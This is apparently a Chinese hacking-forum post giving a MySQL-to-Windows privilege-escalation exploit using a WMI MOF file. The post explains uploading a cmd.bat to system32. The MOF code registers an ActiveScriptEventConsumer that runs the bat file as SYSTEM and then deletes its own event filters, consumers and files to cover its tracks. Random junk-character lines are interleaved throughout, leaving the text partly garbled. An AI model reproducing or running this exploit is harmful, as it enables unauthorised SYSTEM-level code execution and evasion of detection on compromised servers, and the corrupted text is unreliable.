Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
( Q2 D% C' ]9 y, r8 ~' Y需要将要运行的命令写入到bat上传到system32目录，然后执行。

这个sql提权MOF需要运行 system下的文件，不能定义路径。
/ B7 j9 ?' \1 {9 m" e需要将要运行的命令写入到bat上传到system32目录，然后执行。
5 r# L- L& ?/ s- Z& C* \4 ~
# ^& @  q0 ^1 n3 {6 y: n#pragma
                        namespace("\\\\.\\root\\cimv2")
                        class
0 G3 \3 _/ w9 Z9 W                        MyClass547
                        {           [key]
7 D) |3 `: c( N! i6 `5 W! |                        string
                        Name;
                        };
& @/ F, X9 E' D" [                        class
9 p8 `) c2 E% P7 h                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
4 [+ Y: T& X  j/ S& G  h                        string
                        Name;           [not_null]
& [1 j$ z6 \  X5 I1 I                        string
! x9 T  e, u8 e, t+ H/ G  S& S: L                        ScriptingEngine;           string
                        ScriptFileName;           [template]
! G3 |; W4 T) v                        string
" J  F, G. v& ]5 y  @: W                        ScriptText;         uint32 KillTimeout;
9 \! I" S! m1 O4 c                        }; instance of __Win32Provider as $P {
3 U* O$ P# u& s% L3 J                        Name
                        =
, b2 j5 [. D- p1 S2 ?                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
6 f4 z' \: d+ E' a6 O% g                        PerUserInitialization
. R1 V$ d2 O! a$ J1 q7 F' a                        = TRUE;
. y8 q9 {$ F+ M! D  e                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
: W& R- H* w' E- z1 _. P& e' ~                        Instance of ActiveScriptEventConsumer
, g( o# Q2 \- y3 a& B                        as $cons {         Name
( B$ Y* F' }5 M) k9 x* H                        =
7 T; w4 R4 Z! X+ @' k( h4 w& E4 t                        "ASEC";         ScriptingEngine
                        =
                        "JScript";         ScriptText
; ?, e1 ~3 N; B& g                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
/ p1 g$ A2 ^! l) k' {9 Q* P                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
1 t, G) |4 m$ n) I( Z2 C                        =
                        "qndASEC";         ScriptingEngine
" T$ ]& @5 ^( r5 Q- O0 L                        =
' r4 F0 d" [+ z( d5 A3 V: r( g6 {                        "JScript";         ScriptText
                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
( V) ^" l; G% {4 t/ H. Q4 `                        }; instance of __EventFilter as $Filt {         Name
                        =
                        "instfilt";         Query
2 O3 u+ S* F  Y7 J, T: y                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
* j, b- g7 ~8 W. t1 Y                        =
5 `3 o2 Y$ D4 V4 }5 G2 h                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
  B1 @4 g: }1 w2 \                        "qndfilt";         Query
                        =
9 H$ {9 e- w% d1 f                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
3 C* F/ |5 t) g8 F                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
9 J# [9 ]! o: e! [                        = $cons;         Filter
& h3 O  E6 h$ b9 i3 f3 D                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
# a% Q9 m0 i+ E                        =
                        "ClassConsumer";
4 ~$ [: S4 O; p+ Z0 D% b                        };